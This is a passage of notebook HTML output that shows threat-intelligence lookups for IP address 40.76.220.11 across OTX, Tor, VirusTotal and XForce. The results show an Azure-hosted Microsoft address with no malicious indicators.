       "<table class='tb_ti_res'><tr class='cell_ti'><td class='cell_ti_first'>OTX</td><tr class='cell_ti'><td class='cell_ti_first'>pulse_count</td><td class='cell_ti'>0</td></tr><tr class='cell_ti'><td class='cell_ti_first'>sections_available</td><td class='cell_ti'>['general', 'geo', 'reputation', 'url_list', 'passive_dns', 'malware', 'nids_list', 'http_scans']</td></tr></tr></table><h4>Reference: </h4><a href='https://otx.alienvault.com/api/v1/indicators/IPv4/40.76.220.11/general'>https://otx.alienvault.com/api/v1/indicators/IPv4/40.76.220.11/general</a><br><hr><h4>Raw Results</h4>\n",
       "        <details>\n",
       "        <summary> <u>Raw results from provider...</u></summary>\n",
       "        <pre  style=\"font-size:11px\">{'accuracy_radius':&nbsp;1000,<br>&nbsp;'area_code':&nbsp;0,<br>&nbsp;'asn':&nbsp;'AS8075&nbsp;MICROSOFT-CORP-MSN-AS-BLOCK',<br>&nbsp;'base_indicator':&nbsp;{},<br>&nbsp;'charset':&nbsp;0,<br>&nbsp;'city':&nbsp;'Washington',<br>&nbsp;'city_data':&nbsp;True,<br>&nbsp;'continent_code':&nbsp;'NA',<br>&nbsp;'country_code':&nbsp;'US',<br>&nbsp;'country_code2':&nbsp;'US',<br>&nbsp;'country_code3':&nbsp;'USA',<br>&nbsp;'country_name':&nbsp;'United&nbsp;States&nbsp;of&nbsp;America',<br>&nbsp;'dma_code':&nbsp;511,<br>&nbsp;'false_positive':&nbsp;[],<br>&nbsp;'flag_title':&nbsp;'United&nbsp;States&nbsp;of&nbsp;America',<br>&nbsp;'flag_url':&nbsp;'/assets/images/flags/us.png',<br>&nbsp;'indicator':&nbsp;'40.76.220.11',<br>&nbsp;'latitude':&nbsp;38.7095,<br>&nbsp;'longitude':&nbsp;-78.1539,<br>&nbsp;'postal_code':&nbsp;'22747',<br>&nbsp;'pulse_info':&nbsp;{'count':&nbsp;0,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'pulses':&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'references':&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'related':&nbsp;{'alienvault':&nbsp;{'adversary':&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'industries':&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'malware_families':&nbsp;[]},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'other':&nbsp;{'adversary':&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'industries':&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'malware_families':&nbsp;[]}}},<br>&nbsp;'region':&nbsp;'VA',<br>&nbsp;'reputation':&nbsp;0,<br>&nbsp;'sections':&nbsp;['general',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reputation',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'url_list',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'passive_dns',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'malware',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'nids_list',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'http_scans'],<br>&nbsp;'subdivision':&nbsp;'VA',<br>&nbsp;'type':&nbsp;'IPv4',<br>&nbsp;'type_title':&nbsp;'IPv4',<br>&nbsp;'validation':&nbsp;[{'message':&nbsp;'In&nbsp;cloud&nbsp;provider&nbsp;range:&nbsp;provider=azure',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'name':&nbsp;'Cloud&nbsp;Provider&nbsp;IP&nbsp;range',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'source':&nbsp;'cloud'}],<br>&nbsp;'whois':&nbsp;'http://whois.domaintools.com/40.76.220.11'}</pre>\n",
       "        </details>\n",
       "        <h3 style='background-color: SteelBlue; padding: 6px'>Type: 'ipv4', Provider: Tor, severity: information</h3><h4>Details</h4>\n",
       "<style>\n",
       "    .tb_ti_res {border-collapse: collapse; width: 60%; border: 1px solid #ddd !important;}\n",
       "    .cell_ti {border: 1px solid #ddd !important;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "    .cell_ti_first {border: 1px solid #ddd !important; width: 25%;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "</style>\n",
       "<table class='tb_ti_res'>Not found.</table><h4>Reference: </h4><a href='https://check.torproject.org/exit-addresses'>https://check.torproject.org/exit-addresses</a><br><hr><h4>Raw Results</h4>\n",
       "        <details>\n",
       "        <summary> <u>Raw results from provider...</u></summary>\n",
       "        <pre  style=\"font-size:11px\">None</pre>\n",
       "        </details>\n",
       "        <h3 style='background-color: SteelBlue; padding: 6px'>Type: 'ipv4', Provider: VirusTotal, severity: information</h3><h4>Details</h4>\n",
       "<style>\n",
       "    .tb_ti_res {border-collapse: collapse; width: 60%; border: 1px solid #ddd !important;}\n",
       "    .cell_ti {border: 1px solid #ddd !important;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "    .cell_ti_first {border: 1px solid #ddd !important; width: 25%;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "</style>\n",
       "<table class='tb_ti_res'><tr class='cell_ti'><td class='cell_ti_first'>VirusTotal</td><tr class='cell_ti'><td class='cell_ti_first'>verbose_msg</td><td class='cell_ti'>Missing IP address</td></tr><tr class='cell_ti'><td class='cell_ti_first'>response_code</td><td class='cell_ti'>0</td></tr><tr class='cell_ti'><td class='cell_ti_first'>positives</td><td class='cell_ti'>0</td></tr></tr></table><h4>Reference: </h4><a href='https://www.virustotal.com/vtapi/v2/ip-address/report'>https://www.virustotal.com/vtapi/v2/ip-address/report</a><br><hr><h4>Raw Results</h4>\n",
       "        <details>\n",
       "        <summary> <u>Raw results from provider...</u></summary>\n",
       "        <pre  style=\"font-size:11px\">{'response_code':&nbsp;0,&nbsp;'verbose_msg':&nbsp;'Missing&nbsp;IP&nbsp;address'}</pre>\n",
       "        </details>\n",
       "        <h3 style='background-color: SteelBlue; padding: 6px'>Type: 'ipv4', Provider: XForce, severity: information</h3><h4>Details</h4>\n",
       "<style>\n",
       "    .tb_ti_res {border-collapse: collapse; width: 60%; border: 1px solid #ddd !important;}\n",
       "    .cell_ti {border: 1px solid #ddd !important;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "    .cell_ti_first {border: 1px solid #ddd !important; width: 25%;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "</style>\n",
       "<table class='tb_ti_res'><tr class='cell_ti'><td class='cell_ti_first'>XForce</td><tr class='cell_ti'><td class='cell_ti_first'>score</td><td class='cell_ti'>1</td></tr><tr class='cell_ti'><td class='cell_ti_first'>cats</td></tr><tr class='cell_ti'><td class='cell_ti_first'>categoryDescriptions</td></tr><tr class='cell_ti'><td class='cell_ti_first'>reason</td><td class='cell_ti'>Regional Internet Registry</td></tr><tr class='cell_ti'><td class='cell_ti_first'>reasonDescription</td><td class='cell_ti'>One of the five RIRs announced a (new) location mapping of the IP.</td></tr><tr class='cell_ti'><td class='cell_ti_first'>tags</td><td class='cell_ti'>[]</td></tr></tr></table><h4>Reference: </h4><a href='https://api.xforce.ibmcloud.com/ipr/40.76.220.11'>https://api.xforce.ibmcloud.com/ipr/40.76.220.11</a><br><hr><h4>Raw Results</h4>\n",
       "        <details>\n",
       "        <summary> <u>Raw results from provider...</u></summary>\n",
       "        <pre  style=\"font-size:11px\">{'categoryDescriptions':&nbsp;{},<br>&nbsp;'cats':&nbsp;{},<br>&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;'history':&nbsp;[{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2012-03-22T07:26:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.0.0.0/8',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'asns':&nbsp;{'8075':&nbsp;{'Company':&nbsp;'MICROSOFT-CORP-MSN-AS-BLOCK&nbsp;-&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Microsoft&nbsp;Corporation,&nbsp;US',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cidr':&nbsp;10}},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2017-07-26T06:24:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2017-10-10T06:23:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'asns':&nbsp;{'8075':&nbsp;{'Company':&nbsp;'MICROSOFT-CORP-MSN-AS-BLOCK&nbsp;-&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Microsoft&nbsp;Corporation,&nbsp;US',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cidr':&nbsp;10}},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2017-10-18T06:23:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2019-05-19T06:52:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2019-05-21T14:39:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-01-17T09:09:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;